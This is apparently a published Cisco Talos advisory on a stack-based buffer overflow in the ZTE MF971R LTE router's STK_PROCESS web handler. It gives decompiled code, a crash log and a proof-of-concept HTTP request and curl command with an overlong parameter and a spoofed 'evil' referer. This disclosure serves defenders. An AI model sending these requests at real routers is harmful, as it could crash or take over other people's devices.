Talos Vulnerability Report

TALOS-2021-1321

ZTE MF971R STK_PROCESS stack-based buffer overflow vulnerability

October 18, 2021
CVE Number

CVE-2021-21749

Summary

An exploitable Stack Based Buffer Overflow vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a stack-based buffer overflow and leads to remote code execution. An attacker needs to provide a URL to the victim to trigger the vulnerability.

Tested Versions

ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb

Product URLs

https://www.ztedevices.com/pl/product/zte-mf971r/

CVSSv3 Score

8.3 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

MF971R its a portable router with WIFI support and LTE/GSM modem.

This vulnerability is present in STK_PROCESS API related code, which is a part of the ZTE MF971R web application A specially-crafted URL sent by an attacker and visited by a victim can lead to a stack-based buffer overflow and can result in remote code execution.

A stk_content parameter that is part of STK_PROCESS API is not properly sanitized in a context of its length. Let us take a closer look at the vulnerable code:

Line 1 	int __fastcall handler_STK_PROCESS(websRec *web, int a2)
Line 2 	{
Line 3 		(...)
Line 4 		
Line 5 			  if ( !strcmp(operator_param, "stk_get_input") )
Line 6 			  {
Line 7 				stk_content = (_BYTE *)get_value_of_param(web, "stk_content", (int)&g_default_value);
Line 8 				stk_encode_type = (const char *)get_value_of_param(web, "stk_encode_type", (int)&g_default_value);
Line 9 				v12 = stk_encode_type;
Line 10				if ( !*stk_content || !*stk_encode_type )
Line 11				{
Line 12				  zte_syslog_append(6, 438741, 227, 0, "invalid request para.", a2);
Line 13				  return responseError(web, "failure");
Line 14				}
Line 15				if ( zte_nvconfig_write("stk_write_flag", "9", 1) != 1 )
Line 16				{
Line 17				  zte_syslog_append(6, 438741, 234, 0, "write nv [%s] fail.", "stk_write_flag");
Line 18				  return responseError(web, "failure");
Line 19				}
Line 20				v13 = atoi(v12);
Line 21				zte_get_input_stk_mc((int)stk_content, v13);	

Following further stk_content parameters, we land inside the zte_get_input_stk_mc function of libztestk.so library:

Line 22	int __fastcall zte_get_input_stk_mc(const char *stk_content, int stk_encode_type)
Line 23	{
Line 24	  size_t stk_content_len; // r0
Line 25	  int v5; // r0
Line 26	  const char *v6; // r1
Line 27	  int v7; // r2
Line 28	  const char *v8; // r3
Line 29	  _DWORD out_buffer[131]; // [sp+8h] [bp-628h] BYREF
Line 30	  _WORD v11[526]; // [sp+214h] [bp-41Ch] BYREF
Line 31
Line 32	  zte_syslog_append(6, "src/libzte_stk.c", 221, 40, "the zte_get_input_stk_mc  start \n");
Line 33	  memset(v11, 0, 0x40Cu);
Line 34	  memset(out_buffer, 0, sizeof(out_buffer));
Line 35	  v11[0] = 8452;
Line 36	  v11[3] = 14;
Line 37	  v11[2] = 41;
Line 38	  out_buffer[0] = 5;
Line 39	  stk_content_len = strlen(stk_content);
Line 40	  memcpy(&out_buffer[2], stk_content, stk_content_len);

As we can see in line 40 there is a memcpy operation performed on the stk_content buffer, which is fully controlled by the attacker. The stk_content content will be copied to out_buffer local buffer which can maximaly contain around 4*131 bytes.

To exploit this fully remotely, a victim needs to be logged-in to a web panel to be affected by this vulnerability. An attacker also needs to leverage existing XSS vulnerabilities to obtain RD parameter and calculate the proper AD value, as well as use the referer bypass described in TALOS-2021-1317. An attacker who has access to the webpanel can of course exploit this directly without needing any extra vulnerabilities or a victim user. This remote post-auth stack-based buffer overflow gives full control to an attacker on overwrite return address and can be turned into arbitrary remote code execution.

Crash Information

[  255.847869] Kernel panic - not syncing: Fatal sig=11 on 'zte_topsw_goahe' pid=864
[  255.847869]
[  255.856903] CPU: 0 PID: 864 Comm: zte_topsw_goahe Tainted: P             3.10.33 #1
[  255.864654] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[  255.873260] [<c001d338>] (show_stack+0x10/0x14) from [<c002d750>] (panic+0xfc/0x260)
[  255.881103] [<c002d750>] (panic+0xfc/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[  255.890045] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[  255.899444] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[  255.908111] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[  255.916778] EMMD: ready to perform memory dump
[  255.921264] ======== dump PCSR for cpu0 ========
[  255.925933] PCSR of cpu0 is 0xc0027880
[  255.929718] PCSR of cpu0 is 0xc00278b0
[  255.933502] PCSR of cpu0 is 0xc00278b0
[  255.937316] PCSR of cpu0 is 0xc00278b0
[  255.941101] PCSR of cpu0 is 0xc00278b0
[  255.944885] PCSR of cpu0 is 0xc00278b0
[  255.948699] PCSR of cpu0 is 0xc00278b0
[  255.952484] PCSR of cpu0 is 0xc00278b0
[  255.956634] Loading crashdump kernel...
[  255.960510]
[  255.962036] current proc: 864 zte_topsw_goahe
[  255.966430] -----------------------------------------------------------------------------------
[  255.975158]       pid     uTime    sTime    exec(ns)    stat   cpu   task_struct
[  255.982604] -----------------------------------------------------------------------------------
[  255.991455]      864      147      122     255846343993 R(0)    0    c5551200 zte_topsw_goahe
[  256.000061] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[  256.008697] [<c001d338>] (show_stack+0x10/0x14) from [<c04e4864>] (dump_task_info+0x104/0x14c)
[  256.017395] [<c04e4864>] (dump_task_info+0x104/0x14c) from [<c006fdec>] (panic_flush+0xbc/0x178)
[  256.026275] [<c006fdec>] (panic_flush+0xbc/0x178) from [<c00701f0>] (crash_kexec+0x10/0xa0)
[  256.034698] [<c00701f0>] (crash_kexec+0x10/0xa0) from [<c002d76c>] (panic+0x118/0x260)
[  256.042694] [<c002d76c>] (panic+0x118/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[  256.051757] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[  256.061126] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[  256.069824] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[  256.078552] -----------------------------------------------------------------------------------
[  256.435516] KERNEL-TEXT-CRC: orig/panic = 0x74c2/0x4493
[  256.440765] RAMDUMP STARTED
[  256.443603] RAMDUMP pa=0xe00400, signature 0x41434452 placed on va=0xc0e00400
[  256.450805] RAMDUMP DONE
[  256.453369] EMMD: done
[  256.455749]
[  256.455749] ---
[  256.455749] [KR] Panic in zte_topsw_goahe: Fatal sig=11 on 'zte_topsw_goahe' pid=864
[  256.455749] !Bad Kernel CRC!
[  256.455749] ---
[  256.455749]
[  256.472961] Rebooting in 3 seconds..
[  259.492675] do not hold CP in do_wdt_restart!!!
[  259.497436] Reboot failed -- System halted

Exploit Proof of Concept

Remebmer to update your router IP and calculated proper AD value.
	
Request 

GET /goform/goform_set_cmd_process?goformId=STK_PROCESS&operator=stk_get_input&stk_encode_type=11223344&stk_content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AD=6aa5045b0468528617749a7f22ef35d6 HTTP/1.1
Host: 192.168.2.1
User-Agent: curl/7.55.1
Accept: */*
Referer: http://evil.localdomain.com/127.0.0.1.html


or 

curl -v -i --referer http://evil.localdomain.com/127.0.0.1.html "http://192.168.2.1/goform/goform_set_cmd_process?goformId=STK_PROCESS&operator=stk_get_input&stk_encode_type=11223344&stk_content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AD=6aa5045b0468528617749a7f22ef35d6"

Timeline

2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched

2021-10-18 - Public release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.